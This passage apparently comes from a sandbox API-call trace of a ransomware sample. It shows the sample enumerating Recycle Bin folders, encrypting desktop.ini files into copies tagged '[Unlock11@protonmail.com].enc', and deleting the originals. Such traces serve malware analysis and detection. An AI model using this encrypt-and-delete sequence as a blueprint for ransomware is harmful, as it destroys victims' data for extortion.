0x3263050 [0112.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0112.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0112.928] GetCurrentThreadId () returned 0x9b0 [0112.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.928] GetLastError () returned 0x0 [0112.928] GetLastError () returned 0x0 [0112.928] GetLastError () returned 0x0 [0112.928] GetLastError () returned 0x0 [0112.928] GetCurrentThreadId () returned 0x9b0 [0112.928] GetLastError () returned 0x0 [0112.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.928] GetLastError () returned 0x0 [0112.928] GetLastError () returned 0x0 [0112.929] GetLastError () returned 0x0 [0112.929] GetLastError () returned 0x0 [0112.929] GetCurrentThreadId () returned 0x9b0 [0112.929] GetLastError () returned 0x0 [0112.929] GetCurrentThreadId () returned 0x9b0 [0112.929] GetLastError () returned 0x0 [0112.929] GetLastError () returned 0x0 [0112.929] GetLastError () returned 0x0 [0112.929] GetLastError () returned 0x0 [0112.929] GetCurrentThreadId () returned 0x9b0 [0112.929] GetLastError () returned 0x0 [0112.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.930] GetLastError () returned 0x0 [0112.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0112.930] GetLastError () returned 0x0 [0112.930] GetLastError () returned 0x0 [0112.930] GetLastError () returned 0x0 [0112.930] GetCurrentThreadId () returned 0x9b0 [0112.930] GetLastError () returned 0x0 [0112.930] GetLastError () returned 0x0 [0112.930] GetLastError () returned 0x0 [0112.930] GetLastError () returned 0x0 [0112.930] GetLastError () returned 0x0 [0112.930] GetCurrentThreadId () returned 0x9b0 [0112.931] GetLastError () returned 0x0 [0112.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0112.931] GetLastError () returned 0x0 [0112.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0112.931] GetLastError () returned 0x0 [0112.931] GetLastError () returned 0x0 [0112.931] GetLastError () returned 0x0 [0112.931] GetCurrentThreadId () returned 0x9b0 [0112.931] GetLastError () returned 0x0 [0112.931] GetLastError () returned 0x0 [0112.931] GetLastError () returned 0x0 [0112.931] GetLastError () returned 0x0 [0112.931] GetLastError () returned 0x0 [0112.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0112.932] GetFileAttributesExA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1 [0112.932] GetLastError () returned 0x0 [0112.932] GetCurrentThreadId () returned 0x9b0 [0112.932] GetLastError () returned 0x0 [0112.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0112.932] GetCurrentThreadId () returned 0x9b0 [0112.932] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366237c | out: pbBuffer=0x366237c) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0112.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0112.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1f920 [0112.933] GetLastError () returned 0x0 [0112.933] GetLastError () returned 0x0 [0112.933] GetLastError () returned 0x0 [0112.933] GetLastError () returned 0x0 [0112.933] GetCurrentThreadId () returned 0x9b0 [0112.933] GetLastError () returned 0x0 [0112.933] GetCurrentThreadId () returned 0x9b0 [0112.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30282d8 [0112.933] GetLastError () returned 0x0 [0112.934] GetLastError () returned 0x0 [0112.934] GetLastError () returned 0x0 [0112.934] GetLastError () returned 0x0 [0112.934] GetCurrentThreadId () returned 0x9b0 [0112.934] GetLastError () returned 0x0 [0112.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.934] GetCurrentThreadId () returned 0x9b0 [0112.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0112.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.934] GetLastError () returned 0x0 [0112.934] GetLastError () returned 0x0 [0112.934] GetLastError () returned 0x0 [0112.934] GetLastError () returned 0x0 [0112.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0112.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5f8 [0112.935] GetLastError () returned 0x0 [0112.935] CreateFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.935] GetFileType (hFile=0x39c) returned 0x1 [0112.935] GetLastError () returned 0x0 [0112.935] GetCurrentThreadId () returned 0x9b0 [0112.935] GetLastError () returned 0x0 [0112.935] GetFileType (hFile=0x39c) returned 0x1 [0112.935] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.936] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.936] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.936] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.936] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.936] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.936] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.936] GetLastError () returned 0x0 [0112.936] GetCurrentThreadId () returned 0x9b0 [0112.936] GetLastError () returned 0x0 [0112.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0112.936] GetLastError () returned 0x0 [0112.936] GetLastError () returned 0x0 [0112.936] GetLastError () returned 0x0 [0112.937] GetLastError () returned 0x0 [0112.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0112.937] GetLastError () returned 0x0 [0112.937] CreateFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.938] GetFileType (hFile=0x3ac) returned 0x1 [0112.938] GetLastError () returned 0x0 [0112.938] GetCurrentThreadId () returned 0x9b0 [0112.938] GetLastError () returned 0x0 [0112.938] GetFileType (hFile=0x3ac) returned 0x1 [0112.938] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.939] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.939] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.939] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.939] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.939] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.939] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.939] GetLastError () returned 0x0 [0112.939] GetCurrentThreadId () returned 0x9b0 [0112.939] GetLastError () returned 0x0 [0112.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0112.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0112.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.939] GetLastError () returned 0x0 [0112.940] GetLastError () returned 0x0 [0112.940] GetCurrentThreadId () returned 0x9b0 [0112.940] GetLastError () returned 0x0 [0112.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0112.940] GetLastError () returned 0x0 [0112.940] GetLastError () returned 0x0 [0112.940] GetCurrentThreadId () returned 0x9b0 [0112.940] GetLastError () returned 0x0 [0112.940] GetLastError () returned 0x0 [0112.941] GetLastError () returned 0x0 [0112.941] GetCurrentThreadId () returned 0x9b0 [0112.941] GetLastError () returned 0x0 [0112.941] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x96) returned 0x35c5908 [0112.941] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa5) returned 0x35c5908 [0112.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de528 [0112.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0112.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa8) returned 0x334c178 [0112.942] GetCurrentThreadId () returned 0x9b0 [0112.942] GetLastError () returned 0x0 [0112.942] GetLastError () returned 0x0 [0112.942] GetLastError () returned 0x0 [0112.942] GetLastError () returned 0x0 [0112.942] GetLastError () returned 0x0 [0112.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c178 | out: hHeap=0x2ad0000) returned 1 [0112.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0112.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0112.943] GetLastError () returned 0x0 [0112.943] GetLastError () returned 0x0 [0112.943] GetLastError () returned 0x0 [0112.943] GetLastError () returned 0x0 [0112.943] GetLastError () returned 0x0 [0112.943] GetLastError () returned 0x0 [0112.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59b8 | out: hHeap=0x2ad0000) returned 1 [0112.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.943] GetLastError () returned 0x0 [0112.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.944] CloseHandle (hObject=0x3ac) returned 1 [0112.944] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] CloseHandle (hObject=0x39c) returned 1 [0112.945] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] GetLastError () returned 0x0 [0112.945] DeleteFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0112.946] GetLastError () returned 0x0 [0112.946] GetLastError () returned 0x0 [0112.947] FindFirstFileA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0112.947] GetLastError () returned 0x0 [0112.947] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.947] GetLastError () returned 0x0 [0112.947] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.947] GetLastError () returned 0x0 [0112.947] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0112.947] GetLastError () returned 0x12 [0112.947] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0112.948] GetLastError () returned 0x12 [0112.948] GetFileAttributesA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0112.948] GetFullPathNameA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", lpFilePart=0x9bada4*="desktop.ini") returned 0x49 [0112.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0112.948] GetFileAttributesExA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1 [0112.948] GetLastError () returned 0x0 [0112.948] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0112.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0112.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0112.949] CreateFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.949] GetFileType (hFile=0x39c) returned 0x1 [0112.949] GetFileType (hFile=0x39c) returned 0x1 [0112.949] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.950] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.950] GetLastError () returned 0x0 [0112.950] GetCurrentThreadId () returned 0x9b0 [0112.950] GetLastError () returned 0x0 [0112.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0112.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2568 | out: hHeap=0x2ad0000) returned 1 [0112.950] GetLastError () returned 0x0 [0112.950] GetLastError () returned 0x0 [0112.950] GetLastError () returned 0x0 [0112.950] GetLastError () returned 0x0 [0112.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0112.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de538 [0112.950] GetLastError () returned 0x0 [0112.951] CreateFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.952] GetFileType (hFile=0x3ac) returned 0x1 [0112.952] GetLastError () returned 0x0 [0112.952] GetCurrentThreadId () returned 0x9b0 [0112.952] GetLastError () returned 0x0 [0112.952] GetFileType (hFile=0x3ac) returned 0x1 [0112.952] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.952] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.952] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.953] GetLastError () returned 0x0 [0112.953] GetCurrentThreadId () returned 0x9b0 [0112.953] GetLastError () returned 0x0 [0112.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0112.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0112.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0112.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0112.953] GetLastError () returned 0x0 [0112.953] GetLastError () returned 0x0 [0112.954] GetCurrentThreadId () returned 0x9b0 [0112.954] GetLastError () returned 0x0 [0112.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0112.954] GetLastError () returned 0x0 [0112.954] GetLastError () returned 0x0 [0112.954] GetCurrentThreadId () returned 0x9b0 [0112.954] GetLastError () returned 0x0 [0112.954] GetLastError () returned 0x0 [0112.955] GetLastError () returned 0x0 [0112.955] GetCurrentThreadId () returned 0x9b0 [0112.955] GetLastError () returned 0x0 [0112.955] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x96) returned 0x35c5908 [0112.955] GetCurrentThreadId () returned 0x9b0 [0112.955] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa5) returned 0x35c5908 [0112.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de538 [0112.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0112.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa8) returned 0x334c438 [0112.956] GetLastError () returned 0x0 [0112.956] GetLastError () returned 0x0 [0112.956] GetLastError () returned 0x0 [0112.956] GetLastError () returned 0x0 [0112.956] GetCurrentThreadId () returned 0x9b0 [0112.956] GetLastError () returned 0x0 [0112.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c438 | out: hHeap=0x2ad0000) returned 1 [0112.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0112.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.956] GetLastError () returned 0x0 [0112.956] GetLastError () returned 0x0 [0112.956] GetCurrentThreadId () returned 0x9b0 [0112.957] GetLastError () returned 0x0 [0112.957] GetLastError () returned 0x0 [0112.957] GetLastError () returned 0x0 [0112.957] GetCurrentThreadId () returned 0x9b0 [0112.957] GetLastError () returned 0x0 [0112.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59b8 | out: hHeap=0x2ad0000) returned 1 [0112.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.957] GetLastError () returned 0x0 [0112.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.958] CloseHandle (hObject=0x3ac) returned 1 [0112.958] GetLastError () returned 0x0 [0112.958] GetCurrentThreadId () returned 0x9b0 [0112.958] GetLastError () returned 0x0 [0112.958] GetLastError () returned 0x0 [0112.959] CloseHandle (hObject=0x39c) returned 1 [0112.959] GetLastError () returned 0x0 [0112.959] GetCurrentThreadId () returned 0x9b0 [0112.959] GetLastError () returned 0x0 [0112.959] GetCurrentThreadId () returned 0x9b0 [0112.959] GetLastError () returned 0x0 [0112.959] GetLastError () returned 0x0 [0112.959] GetLastError () returned 0x0 [0112.959] GetLastError () returned 0x0 [0112.959] DeleteFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0112.960] GetLastError () returned 0x0 [0112.960] GetCurrentThreadId () returned 0x9b0 [0112.960] GetLastError () returned 0x0 [0112.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0112.961] GetLastError () returned 0x0 [0112.961] GetLastError () returned 0x0 [0112.961] GetLastError () returned 0x0 [0112.961] GetLastError () returned 0x0 [0112.961] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0112.963] GetLastError () returned 0x0 [0112.963] GetCurrentThreadId () returned 0x9b0 [0112.963] GetLastError () returned 0x0 [0112.963] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, 